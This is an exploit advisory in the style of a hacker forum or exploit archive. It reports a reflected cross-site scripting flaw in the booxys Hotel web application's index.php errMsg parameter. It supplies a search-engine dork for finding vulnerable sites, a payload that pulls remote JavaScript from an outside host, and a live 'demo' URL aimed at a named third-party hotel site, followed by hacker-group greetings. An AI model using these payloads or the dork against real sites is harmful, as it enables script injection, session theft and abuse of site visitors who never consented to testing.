#(+)Exploit Title: booxys Hotel [index.php] Cross site scripting Vulnerability
#(+)Author   : Net.Edit0r
#(+)Software Link : http://www.booxys.com/
#(+) E-mail  : Black.hat.tm@Gmail.com & Net.Edit0r@att.net
#(+) dork    : inurl:"index.php?errMsg="
#(+) Versian : [1.0]
#(+) Category : Web Apps [XSS]
#(+) Platform : Tested on: linux

____________________________________________________________________
____________________________________________________________________

The security problem in the file "index.php" has been created. You
can disable this security problem Plagn take it away.

[~] Vulnerable File :

#      [+]http://localhost.com/de/index.php?errMsg=[XSS]

[~] Cross-site scripting Vulnerability

#      [+]/de/index.php?errMsg=[XSS]

#      [+]http://localhost.com/de/index.php?errMsg=<SCRIPT/XSS
SRC="http://ha.ckers.org/xss.js"></SCRIPT>

[~] Demo :

http://www.hotel-board.com/de/index.php?errMsg=<script>alert(1);</script>

____________________________________________________________________
____________________________________________________________________

########################################################################
(+)IRANIAN Young HackerZ # Persian Gulf
(+)#BHG Member : & DarkCoder & p3nt3st3r & H3x & 3H34N & D3adly
(+)Sp My Best Friend : HUrr!c4nE ~ b3hz4d ~ M4hd1 ~  Mikili ~ 4min
(+)Gr33ts to : Black-Hg.Org ~ Pentesters.ir & All Iranian HackerZ
########################################################################